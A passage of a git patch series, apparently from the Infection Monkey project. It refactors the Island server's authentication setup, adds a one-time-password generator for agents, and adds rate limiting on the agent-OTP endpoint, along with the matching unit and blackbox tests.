= ( - security.app.config["SECURITY_TOKEN_MAX_AGE"] - + security.app.config["SECURITY_REFRESH_TOKEN_TIMEDELTA"] - ) - token_parser = TokenParser(security, refresh_token_expiration) - - return AuthenticationFacade( - repository_encryptor, - island_event_queue, - security.datastore, - token_generator, - token_parser, - container.resolve(MongoOTPRepository), - ) diff --git a/monkey/monkey_island/cc/services/authentication_service/setup.py b/monkey/monkey_island/cc/services/authentication_service/setup.py index 5add47ac9b3..486a2c86225 100644 --- a/monkey/monkey_island/cc/services/authentication_service/setup.py +++ b/monkey/monkey_island/cc/services/authentication_service/setup.py @@ -1,8 +1,46 @@ -from . import register_resources +from pathlib import Path + +from flask import Flask +from flask_security import Security + +from common import DIContainer +from monkey_island.cc.event_queue import IIslandEventQueue +from monkey_island.cc.server_utils.encryption import ILockableEncryptor + from .authentication_facade import AuthenticationFacade +from .configure_flask_security import configure_flask_security +from .flask_resources import register_resources +from .mongo_otp_repository import MongoOTPRepository +from .token_generator import TokenGenerator +from .token_parser import TokenParser -def setup_authentication(api, authentication_facade: AuthenticationFacade): +def setup_authentication(api, app: Flask, container: DIContainer, data_dir: Path): + security = configure_flask_security(app, data_dir) + authentication_facade = _build_authentication_facade(container, security) + container.register_instance(AuthenticationFacade, authentication_facade) register_resources(api, authentication_facade) + # revoke all old tokens so that the user has to log in again on startup authentication_facade.revoke_all_tokens_for_all_users() + + +def _build_authentication_facade(container: DIContainer, security: Security): + repository_encryptor = container.resolve(ILockableEncryptor) + island_event_queue = container.resolve(IIslandEventQueue) + + token_generator = TokenGenerator(security) + refresh_token_expiration = ( + security.app.config["SECURITY_TOKEN_MAX_AGE"] + + security.app.config["SECURITY_REFRESH_TOKEN_TIMEDELTA"] + ) + token_parser = TokenParser(security, refresh_token_expiration) + + return AuthenticationFacade( + repository_encryptor, + island_event_queue, + security.datastore, + token_generator, + token_parser, + container.resolve(MongoOTPRepository), + ) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index 5a25d706d10..6e747e7ef51 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -1,6 +1,9 @@ import time +from pathlib import Path from unittest.mock import MagicMock, call +import mongomock +import pymongo import pytest from flask_security import UserDatastore from tests.common import StubDIContainer @@ -181,11 +184,13 @@ def test_revoke_all_tokens_for_all_users( mock_user_datastore: UserDatastore, authentication_facade: AuthenticationFacade, ): - [user.save() for user in USERS] + for user in USERS: + user.save() authentication_facade.revoke_all_tokens_for_all_users() assert mock_user_datastore.set_uniquifier.call_count == len(USERS) - [mock_user_datastore.set_uniquifier.assert_any_call(user) for user in USERS] + for user in USERS: + mock_user_datastore.set_uniquifier.assert_any_call(user) def test_generate_otp__saves_otp( @@ -206,14 +211,35 @@ def test_generate_otp__uses_expected_expiration_time( assert expiration_time == expected_expiration_time +# mongomock.MongoClient is not a pymongo.MongoClient. This class allows us to register a +# mongomock.MongoClient as a pymongo.MongoClient with the StubDIContainer. +class MockMongoClient(mongomock.MongoClient, pymongo.MongoClient): + pass + + def test_setup_authentication__revokes_tokens( + monkeypatch, + mock_flask_app, + mock_user_datastore: UserDatastore, mock_island_event_queue: IIslandEventQueue, mock_repository_encryptor: ILockableEncryptor, - mock_authentication_facade: AuthenticationFacade, ): + for user in USERS: + user.save() + + mock_security = MagicMock() + mock_security.datastore = mock_user_datastore + monkeypatch.setattr( + "monkey_island.cc.services.authentication_service.setup.configure_flask_security", + lambda *args: mock_security, + ) + container = StubDIContainer() container.register_instance(ILockableEncryptor, mock_repository_encryptor) container.register_instance(IIslandEventQueue, mock_island_event_queue) - setup_authentication(MagicMock(), mock_authentication_facade) + container.register_instance(pymongo.MongoClient, MockMongoClient()) + setup_authentication(MagicMock(), MagicMock(), container, Path("data_dir")) - assert mock_authentication_facade.revoke_all_tokens_for_all_users.called + assert mock_user_datastore.set_uniquifier.call_count == len(USERS) + for user in USERS: + mock_user_datastore.set_uniquifier.assert_any_call(user) From ed4f3268d325f5c1fdbd07068f5f5bf966db4d11 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 4 Apr 2023 14:09:29 +0530 Subject: [PATCH 1080/1338] UT: Fix failing AuthenticationService tests --- .../authentication_service/test_authentication_service.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index 6e747e7ef51..071d880eced 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -185,7 +185,7 @@ def test_revoke_all_tokens_for_all_users( authentication_facade: AuthenticationFacade, ): for user in USERS: - user.save() + user.save(force_insert=True) authentication_facade.revoke_all_tokens_for_all_users() assert mock_user_datastore.set_uniquifier.call_count == len(USERS) @@ -225,7 +225,7 @@ def test_setup_authentication__revokes_tokens( mock_repository_encryptor: ILockableEncryptor, ): for user in USERS: - user.save() + user.save(force_insert=True) mock_security = MagicMock() mock_security.datastore = mock_user_datastore From 3a13ba9bdea045f00e4391bad4bb5eac87502eff Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 4 Apr 2023 14:58:16 +0530 Subject: [PATCH 1081/1338] Island: Don't register AuthenticationFacade instance in DI container during authentication setup --- monkey/monkey_island/cc/services/authentication_service/setup.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/setup.py b/monkey/monkey_island/cc/services/authentication_service/setup.py index 486a2c86225..39e34bdbcc0 100644 --- a/monkey/monkey_island/cc/services/authentication_service/setup.py +++ b/monkey/monkey_island/cc/services/authentication_service/setup.py @@ -18,7 +18,6 @@ def setup_authentication(api, app: Flask, container: DIContainer, data_dir: Path): security = configure_flask_security(app, data_dir) authentication_facade = _build_authentication_facade(container, security) - container.register_instance(AuthenticationFacade, authentication_facade) register_resources(api, authentication_facade) # revoke all old tokens so that the user has to log in again on startup From 57d2920c2a822a7d5adcf8467302cbe43962a343 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 4 Apr 2023 15:53:24 +0530 Subject: [PATCH 1082/1338] Island: Pass OTP generator to AgentOTP resource's constructor --- .../authentication_service/flask_resources/agent_otp.py | 3 +++ .../flask_resources/register_resources.py | 4 +++- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp.py index eaf5956ecf8..e8fff7e8669 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp.py @@ -13,6 +13,9 @@ class AgentOTP(AbstractResource): urls = ["/api/agent-otp"] + def __init__(self, otp_generator: IOTPGenerator): + self._otp_generator = otp_generator + def get(self): """ Requests an Agent's one-time password diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py index b7aeb350f35..2f0d94d3ed7 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py @@ -17,7 +17,9 @@ def register_resources(api: flask_restful.Api, authentication_facade: Authentica ) api.add_resource(Login, *Login.urls, resource_class_args=(authentication_facade,)) api.add_resource(Logout, *Logout.urls, resource_class_args=(authentication_facade,)) - api.add_resource(AgentOTP, *AgentOTP.urls) + # TODO: Get OTPGenerator after #3187 and #3190 + otp_generator = None + api.add_resource(AgentOTP, *AgentOTP.urls, resource_class_args=(otp_generator,)) api.add_resource( AgentOTPLogin, *AgentOTPLogin.urls, From f3c9b02cb0db6b3ee1f55828b304dac73b931759 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 4 Apr 2023 15:55:42 +0530 Subject: [PATCH 1083/1338] Island: Generate OTP and send in response in AgentOTP GET --- .../authentication_service/flask_resources/agent_otp.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp.py index e8fff7e8669..fe5390641cd 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp.py @@ -2,6 +2,8 @@ from monkey_island.cc.flask_utils import AbstractResource +from ..i_otp_generator import IOTPGenerator + class AgentOTP(AbstractResource): """ @@ -23,4 +25,4 @@ def get(self): :return: One-time password in the response body """ - return make_response({"otp": "supersecretpassword"}) + return make_response({"otp": self._otp_generator.generate_otp()}) From 9a8c31070baa119236431ed48a31841cd77b0070 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 Apr 2023 12:49:40 -0400 Subject: [PATCH 1084/1338] Island: Pass IOTPGenerator to /api/agent-otp endpoint --- .../flask_resources/register_resources.py | 10 +++++++--- .../services/authentication_service/setup.py | 5 ++++- .../authentication_service/conftest.py | 20 ++++++++++++++----- .../flask_resources/test_agent_otp.py | 10 ++++++++-- 4 files changed, 34 insertions(+), 11 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py index 2f0d94d3ed7..cd4438ea437 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py @@ -1,6 +1,7 @@ import flask_restful from ..authentication_facade import AuthenticationFacade +from ..i_otp_generator import IOTPGenerator from .agent_otp import AgentOTP from .agent_otp_login import AgentOTPLogin from .login import Login @@ -10,15 +11,18 @@ from .registration_status import RegistrationStatus -def register_resources(api: flask_restful.Api, authentication_facade: AuthenticationFacade): +def register_resources( + api: flask_restful.Api, + authentication_facade: AuthenticationFacade, + otp_generator: IOTPGenerator, +): api.add_resource(Register, *Register.urls, resource_class_args=(authentication_facade,)) api.add_resource( RegistrationStatus, *RegistrationStatus.urls, resource_class_args=(authentication_facade,) ) api.add_resource(Login, *Login.urls, resource_class_args=(authentication_facade,)) api.add_resource(Logout, *Logout.urls, resource_class_args=(authentication_facade,)) - # TODO: Get OTPGenerator after #3187 and #3190 - otp_generator = None + api.add_resource(AgentOTP, *AgentOTP.urls, resource_class_args=(otp_generator,)) api.add_resource( AgentOTPLogin, diff --git a/monkey/monkey_island/cc/services/authentication_service/setup.py b/monkey/monkey_island/cc/services/authentication_service/setup.py index 39e34bdbcc0..57cfffd895d 100644 --- a/monkey/monkey_island/cc/services/authentication_service/setup.py +++ b/monkey/monkey_island/cc/services/authentication_service/setup.py @@ -8,6 +8,7 @@ from monkey_island.cc.server_utils.encryption import ILockableEncryptor from .authentication_facade import AuthenticationFacade +from .authentication_service_otp_generator import AuthenticationServiceOTPGenerator from .configure_flask_security import configure_flask_security from .flask_resources import register_resources from .mongo_otp_repository import MongoOTPRepository @@ -17,8 +18,10 @@ def setup_authentication(api, app: Flask, container: DIContainer, data_dir: Path): security = configure_flask_security(app, data_dir) + authentication_facade = _build_authentication_facade(container, security) - register_resources(api, authentication_facade) + otp_generator = AuthenticationServiceOTPGenerator(authentication_facade) + register_resources(api, authentication_facade, otp_generator) # revoke all old tokens so that the user has to log in again on startup authentication_facade.revoke_all_tokens_for_all_users() diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py index 0917c30ef63..ffb8ba47887 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py @@ -11,7 +11,7 @@ init_mock_security_app, ) -from monkey_island.cc.services.authentication_service import register_resources +from monkey_island.cc.services.authentication_service import IOTPGenerator, register_resources from monkey_island.cc.services.authentication_service.authentication_facade import ( AuthenticationFacade, ) @@ -29,16 +29,26 @@ def mock_authentication_facade(): @pytest.fixture -def build_flask_client(mock_authentication_facade): +def mock_otp_generator() -> IOTPGenerator: + mog = MagicMock(spec=IOTPGenerator) + + return mog + + +@pytest.fixture +def build_flask_client( + mock_authentication_facade: AuthenticationFacade, + mock_otp_generator: IOTPGenerator, +): def inner(): - return get_mock_auth_app(mock_authentication_facade).test_client() + return get_mock_auth_app(mock_authentication_facade, mock_otp_generator).test_client() return inner -def get_mock_auth_app(authentication_facade: AuthenticationFacade): +def get_mock_auth_app(authentication_facade: AuthenticationFacade, otp_generator: IOTPGenerator): app, api = init_mock_security_app() - register_resources(api, authentication_facade) + register_resources(api, authentication_facade, otp_generator) return app diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp.py index 0fc5dcd8260..c0cd6519f1a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp.py @@ -1,7 +1,12 @@ +from typing import Callable + import pytest +from monkey_island.cc.services.authentication_service import IOTPGenerator from monkey_island.cc.services.authentication_service.flask_resources.agent_otp import AgentOTP +OTP = "supersecretpassword" + @pytest.fixture def make_otp_request(flask_client): @@ -13,8 +18,9 @@ def _make_otp_request(): return _make_otp_request -def test_agent_otp__successful(make_otp_request): +def test_agent_otp__successful(make_otp_request: Callable, mock_otp_generator: IOTPGenerator): + mock_otp_generator.generate_otp.return_value = OTP response = make_otp_request() assert response.status_code == 200 - assert response.json["otp"] == "supersecretpassword" + assert response.json["otp"] == OTP From 63cd919069d3d74c45466551d69eede8490870ae Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 Apr 2023 13:02:19 -0400 Subject: [PATCH 1085/1338] Island: Register an IOTPGenerator in the DI container --- .../monkey_island/cc/services/authentication_service/setup.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/monkey_island/cc/services/authentication_service/setup.py b/monkey/monkey_island/cc/services/authentication_service/setup.py index 57cfffd895d..9555655d633 100644 --- a/monkey/monkey_island/cc/services/authentication_service/setup.py +++ b/monkey/monkey_island/cc/services/authentication_service/setup.py @@ -11,6 +11,7 @@ from .authentication_service_otp_generator import AuthenticationServiceOTPGenerator from .configure_flask_security import configure_flask_security from .flask_resources import register_resources +from .i_otp_generator import IOTPGenerator from .mongo_otp_repository import MongoOTPRepository from .token_generator import TokenGenerator from .token_parser import TokenParser @@ -21,6 +22,8 @@ def setup_authentication(api, app: Flask, container: DIContainer, data_dir: Path authentication_facade = _build_authentication_facade(container, security) otp_generator = AuthenticationServiceOTPGenerator(authentication_facade) + container.register_instance(IOTPGenerator, otp_generator) + register_resources(api, authentication_facade, otp_generator) # revoke all old tokens so that the user has to log in again on startup From d64b7cb82dd3035d0be5ae9b3d53b666d0b2e227 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Apr 2023 17:51:39 +0000 Subject: [PATCH 1086/1338] UT: Use HTTPStatus for status code --- .../authentication_service/flask_resources/test_agent_otp.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp.py index c0cd6519f1a..6ee9dfd1714 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp.py @@ -1,3 +1,4 @@ +from http import HTTPStatus from typing import Callable import pytest @@ -22,5 +23,5 @@ def test_agent_otp__successful(make_otp_request: Callable, mock_otp_generator: I mock_otp_generator.generate_otp.return_value = OTP response = make_otp_request() - assert response.status_code == 200 + assert response.status_code == HTTPStatus.OK assert response.json["otp"] == OTP From c024bf90ea9301d8958593129a5cb48abf01b28b Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Apr 2023 14:41:56 +0000 Subject: [PATCH 1087/1338] Island: Use OTP in local agent run --- monkey/monkey_island/cc/resources/local_run.py | 9 +++++++-- .../cc/services/authentication_service/__init__.py | 4 +--- .../cc/services/authentication_service/setup.py | 2 +- monkey/monkey_island/cc/services/run_local_monkey.py | 9 +++++++-- 4 files changed, 16 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py index 4e163073237..860ef2eeb91 100644 --- a/monkey/monkey_island/cc/resources/local_run.py +++ b/monkey/monkey_island/cc/resources/local_run.py @@ -5,14 +5,18 @@ from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.services.authentication_service import AccountRole +from monkey_island.cc.services.authentication_service.i_otp_generator import IOTPGenerator from monkey_island.cc.services.run_local_monkey import LocalMonkeyRunService class LocalRun(AbstractResource): urls = ["/api/local-monkey"] - def __init__(self, local_monkey_run_service: LocalMonkeyRunService): + def __init__( + self, local_monkey_run_service: LocalMonkeyRunService, otp_generator: IOTPGenerator + ): self._local_monkey_run_service = local_monkey_run_service + self._otp_generator = otp_generator # API Spec: This should be an RPC-style endpoint @auth_token_required @@ -20,7 +24,8 @@ def __init__(self, local_monkey_run_service: LocalMonkeyRunService): def post(self): body = json.loads(request.data) if body.get("action") == "run": - local_run = self._local_monkey_run_service.run_local_monkey() + otp = self._otp_generator.generate_otp() + local_run = self._local_monkey_run_service.run_local_monkey(otp) # API Spec: Feels weird to return "error_text" even when "is_running" is True return jsonify(is_running=local_run[0], error_text=local_run[1]) diff --git a/monkey/monkey_island/cc/services/authentication_service/__init__.py b/monkey/monkey_island/cc/services/authentication_service/__init__.py index e43a94bf8dc..9c128a058d1 100644 --- a/monkey/monkey_island/cc/services/authentication_service/__init__.py +++ b/monkey/monkey_island/cc/services/authentication_service/__init__.py @@ -1,7 +1,5 @@ from .account_role import AccountRole from .flask_resources import register_resources - -from .setup import setup_authentication - from .i_otp_generator import IOTPGenerator from .authentication_service_otp_generator import AuthenticationServiceOTPGenerator +from .setup import setup_authentication diff --git a/monkey/monkey_island/cc/services/authentication_service/setup.py b/monkey/monkey_island/cc/services/authentication_service/setup.py index 9555655d633..f795411a4b5 100644 --- a/monkey/monkey_island/cc/services/authentication_service/setup.py +++ b/monkey/monkey_island/cc/services/authentication_service/setup.py @@ -7,11 +7,11 @@ from monkey_island.cc.event_queue import IIslandEventQueue from monkey_island.cc.server_utils.encryption import ILockableEncryptor +from . import IOTPGenerator from .authentication_facade import AuthenticationFacade from .authentication_service_otp_generator import AuthenticationServiceOTPGenerator from .configure_flask_security import configure_flask_security from .flask_resources import register_resources -from .i_otp_generator import IOTPGenerator from .mongo_otp_repository import MongoOTPRepository from .token_generator import TokenGenerator from .token_parser import TokenParser diff --git a/monkey/monkey_island/cc/services/run_local_monkey.py b/monkey/monkey_island/cc/services/run_local_monkey.py index fc65e32e227..53bdbadbb2f 100644 --- a/monkey/monkey_island/cc/services/run_local_monkey.py +++ b/monkey/monkey_island/cc/services/run_local_monkey.py @@ -1,4 +1,5 @@ import logging +import os import platform import stat import subprocess @@ -7,8 +8,10 @@ from shutil import copyfileobj from typing import Sequence +from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE from monkey_island.cc.repositories import IAgentBinaryRepository, RetrievalError from monkey_island.cc.server_utils.consts import ISLAND_PORT +from monkey_island.cc.services.authentication_service.types import OTP logger = logging.getLogger(__name__) @@ -26,7 +29,7 @@ def __init__( self._agent_binary_repository = agent_binary_repository self._ips = ip_addresses - def run_local_monkey(self): + def run_local_monkey(self, otp: OTP): # get the monkey executable suitable to run on the server operating_system = platform.system().lower() try: @@ -69,8 +72,10 @@ def run_local_monkey(self): ip = self._ips[0] port = ISLAND_PORT + process_env = os.environ.copy() + process_env[AGENT_OTP_ENVIRONMENT_VARIABLE] = otp args = [str(dest_path), "m0nk3y", "-s", f"{ip}:{port}"] - subprocess.Popen(args, cwd=self._data_dir) + subprocess.Popen(args, cwd=self._data_dir, env=process_env) except Exception as exc: logger.error("popen failed", exc_info=True) return False, "popen failed: %s" % exc From 8187e9fd426297969d3da78e66bfef370b9a9102 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 Apr 2023 13:41:06 -0400 Subject: [PATCH 1088/1338] Island: Remove AuthenticationServiceOTPGenerator from exports --- .../cc/services/authentication_service/__init__.py | 1 - .../test_authentication_service_otp_generator.py | 4 +++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/__init__.py b/monkey/monkey_island/cc/services/authentication_service/__init__.py index 9c128a058d1..c8bb18d7a2b 100644 --- a/monkey/monkey_island/cc/services/authentication_service/__init__.py +++ b/monkey/monkey_island/cc/services/authentication_service/__init__.py @@ -1,5 +1,4 @@ from .account_role import AccountRole from .flask_resources import register_resources from .i_otp_generator import IOTPGenerator -from .authentication_service_otp_generator import AuthenticationServiceOTPGenerator from .setup import setup_authentication diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service_otp_generator.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service_otp_generator.py index 48d2117bef3..ef18b424aa4 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service_otp_generator.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service_otp_generator.py @@ -1,9 +1,11 @@ from unittest.mock import MagicMock -from monkey_island.cc.services.authentication_service import AuthenticationServiceOTPGenerator from monkey_island.cc.services.authentication_service.authentication_facade import ( AuthenticationFacade, ) +from monkey_island.cc.services.authentication_service.authentication_service_otp_generator import ( + AuthenticationServiceOTPGenerator, +) def test_authentication_service_otp_generator__generates_otp(): From 05cebe053427eaa5997d5024aa34e67575959bd8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 Apr 2023 13:45:15 -0400 Subject: [PATCH 1089/1338] Island: Export OTP type from authentication_service --- .../cc/services/authentication_service/__init__.py | 1 + monkey/monkey_island/cc/services/run_local_monkey.py | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/__init__.py b/monkey/monkey_island/cc/services/authentication_service/__init__.py index c8bb18d7a2b..a65de62cf01 100644 --- a/monkey/monkey_island/cc/services/authentication_service/__init__.py +++ b/monkey/monkey_island/cc/services/authentication_service/__init__.py @@ -1,3 +1,4 @@ +from .types import OTP from .account_role import AccountRole from .flask_resources import register_resources from .i_otp_generator import IOTPGenerator diff --git a/monkey/monkey_island/cc/services/run_local_monkey.py b/monkey/monkey_island/cc/services/run_local_monkey.py index 53bdbadbb2f..5c0b9c73e23 100644 --- a/monkey/monkey_island/cc/services/run_local_monkey.py +++ b/monkey/monkey_island/cc/services/run_local_monkey.py @@ -11,7 +11,7 @@ from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE from monkey_island.cc.repositories import IAgentBinaryRepository, RetrievalError from monkey_island.cc.server_utils.consts import ISLAND_PORT -from monkey_island.cc.services.authentication_service.types import OTP +from monkey_island.cc.services.authentication_service import OTP logger = logging.getLogger(__name__) From 3cd0d4c0ff0f92abbf8aa20e3381a59c46f27a86 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 3 Apr 2023 16:58:05 +0000 Subject: [PATCH 1090/1338] Island: Add rate limiting to agent-otp endpoint --- envs/monkey_zoo/blackbox/test_blackbox.py | 10 +++++++ monkey/monkey_island/Pipfile | 1 + monkey/monkey_island/cc/app.py | 14 ++++++++- .../flask_resources/agent_otp.py | 30 +++++++++++++++++-- .../flask_resources/register_resources.py | 4 ++- .../services/authentication_service/setup.py | 5 ++-- .../authentication_service/conftest.py | 2 +- .../test_authentication_service.py | 2 +- 8 files changed, 59 insertions(+), 9 deletions(-) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 8f728b67636..7ff3e17c7c5 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -4,6 +4,7 @@ from time import sleep import pytest +import requests from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import CommunicationAnalyzer from envs.monkey_zoo.blackbox.analyzers.zerologon_analyzer import ZerologonAnalyzer @@ -156,6 +157,15 @@ def test_logout_invalidates_all_tokens(island): assert resp.status_code == HTTPStatus.UNAUTHORIZED +def test_agent_otp_rate_limit(island): + for _ in range(0, 10): + response = requests.get(f"https://{island}/api/agent-otp", verify=False) # noqa: DUO123 + assert response.status_code == HTTPStatus.OK + + response = requests.get(f"https://{island}/api/agent-otp", verify=False) # noqa: DUO123 + assert response.status_code == HTTPStatus.TOO_MANY_REQUESTS + + # NOTE: These test methods are ordered to give time for the slower zoo machines # to boot up and finish starting services. # noinspection PyUnresolvedReferences diff --git a/monkey/monkey_island/Pipfile b/monkey/monkey_island/Pipfile index 9fb367c9158..c83e903af08 100644 --- a/monkey/monkey_island/Pipfile +++ b/monkey/monkey_island/Pipfile @@ -17,6 +17,7 @@ requests = ">=2.24" ring = ">=0.7.3" Flask-RESTful = ">=0.3.8" Flask = ">=1.1" +Flask-Limiter = "*" Werkzeug = ">=1.0.1" pyaescrypt = "*" python-dateutil = "*" diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index c4ba3e4fabc..5ac6c5ffe7a 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -3,10 +3,13 @@ import flask_restful from flask import Flask, Response, send_from_directory +from flask_limiter import Limiter +from flask_limiter.util import get_remote_address from werkzeug.exceptions import NotFound from common import DIContainer from monkey_island.cc.flask_utils import FlaskDIWrapper +from monkey_island.cc.mongo_consts import MONGO_URL from monkey_island.cc.resources import ( AgentBinaries, AgentEvents, @@ -68,6 +71,11 @@ def init_app_config(app): # See https://flask.palletsprojects.com/en/1.1.x/config/#JSON_SORT_KEYS. app.config["JSON_SORT_KEYS"] = False + mongo_url = "".join(MONGO_URL.rpartition("/")[0]) + app.config["RATELIMIT_HEADERS_ENABLED"] = True + app.config["RATELIMIT_STRATEGY"] = "moving-window" + app.config["RATELIMIT_STORAGE_URI"] = mongo_url + app.url_map.strict_slashes = False @@ -140,7 +148,11 @@ def init_app( init_app_config(app) init_app_url_rules(app) - setup_authentication(api, app, container, data_dir) + limiter = Limiter( + get_remote_address, + app=app, + ) + setup_authentication(api, app, container, data_dir, limiter) flask_resource_manager = FlaskDIWrapper(api, container) init_api_resources(flask_resource_manager) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp.py index fe5390641cd..7fd59c486f8 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp.py @@ -1,4 +1,9 @@ +from http import HTTPStatus +from threading import Lock + from flask import make_response +from flask_limiter import Limiter, RateLimitExceeded +from flask_limiter.util import get_remote_address from monkey_island.cc.flask_utils import AbstractResource @@ -14,8 +19,22 @@ class AgentOTP(AbstractResource): """ urls = ["/api/agent-otp"] + lock = Lock() + limiter = None + + def __init__(self, otp_generator: IOTPGenerator, limiter: Limiter): + # Since flask generates a new instance of this class for each request, + # we need to ensure that a single instance of the limiter is used. Hence + # the class variable. + # + # TODO: The limit is currently applied per IP address. We will want to change + # it to per-user once we require authentication for this endpoint. + with AgentOTP.lock: + if AgentOTP.limiter is None: + AgentOTP.limiter = limiter.limit( + "10/second", key_func=get_remote_address, per_method=True + ) - def __init__(self, otp_generator: IOTPGenerator): self._otp_generator = otp_generator def get(self): @@ -24,5 +43,10 @@ def get(self): :return: One-time password in the response body """ - - return make_response({"otp": self._otp_generator.generate_otp()}) + if not AgentOTP.limiter: + raise RuntimeError("limiter has not been initialized") + try: + with AgentOTP.limiter: + return make_response({"otp": self._otp_generator.generate_otp()}) + except RateLimitExceeded: + return make_response("Rate limit exceeded", HTTPStatus.TOO_MANY_REQUESTS) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py index cd4438ea437..261a38ceac0 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py @@ -1,4 +1,5 @@ import flask_restful +from flask_limiter import Limiter from ..authentication_facade import AuthenticationFacade from ..i_otp_generator import IOTPGenerator @@ -15,6 +16,7 @@ def register_resources( api: flask_restful.Api, authentication_facade: AuthenticationFacade, otp_generator: IOTPGenerator, + limiter: Limiter, ): api.add_resource(Register, *Register.urls, resource_class_args=(authentication_facade,)) api.add_resource( @@ -23,7 +25,7 @@ def register_resources( api.add_resource(Login, *Login.urls, resource_class_args=(authentication_facade,)) api.add_resource(Logout, *Logout.urls, resource_class_args=(authentication_facade,)) - api.add_resource(AgentOTP, *AgentOTP.urls, resource_class_args=(otp_generator,)) + api.add_resource(AgentOTP, 